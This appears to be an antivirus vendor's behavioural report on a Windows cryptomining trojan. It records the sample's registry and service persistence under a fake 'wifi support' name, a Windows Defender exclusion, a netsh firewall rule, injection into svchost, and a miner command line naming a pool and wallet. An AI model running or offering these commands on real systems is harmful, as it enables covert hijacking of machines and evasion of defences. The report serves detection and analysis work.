Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\dxlqkxn] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dxlqkxn] 'ImagePath' = '%WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\dxlqkxn] 'ImagePath' = '%WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe'
Creates the following services
- 'dxlqkxn' %WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe /d"<Full path to file>"
- 'dxlqkxn' %WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\dxlqkxn' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\wytzsfp.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\wytzsfp.exe to %WINDIR%\syswow64\dxlqkxn\wytzsfp.exe
Deletes itself.
Network activity
TCP
- '43.#31.4.7':443
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK 19#.###.211.95.in-addr.arpa
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\dxlqkxn\wytzsfp.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dxlqkxn\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wytzsfp.exe" %WINDIR%\SysWOW64\dxlqkxn\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create dxlqkxn binPath= "%WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description dxlqkxn "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start dxlqkxn' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dxlqkxn\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wytzsfp.exe" %WINDIR%\SysWOW64\dxlqkxn\
- '%WINDIR%\syswow64\sc.exe' create dxlqkxn binPath= "%WINDIR%\SysWOW64\dxlqkxn\wytzsfp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description dxlqkxn "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start dxlqkxn
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o msr.pool.gntl.co.uk:40005 -u 5qZ5atUw8pcCBWAXgMv6YiGMTeaVjFHoG2UAPWFKVFFsUvvWXKTTHPH5z97QVpSJW6jh98jzGzxpnR7XKbBjaYp94j4VRqx+60000 -p x -k
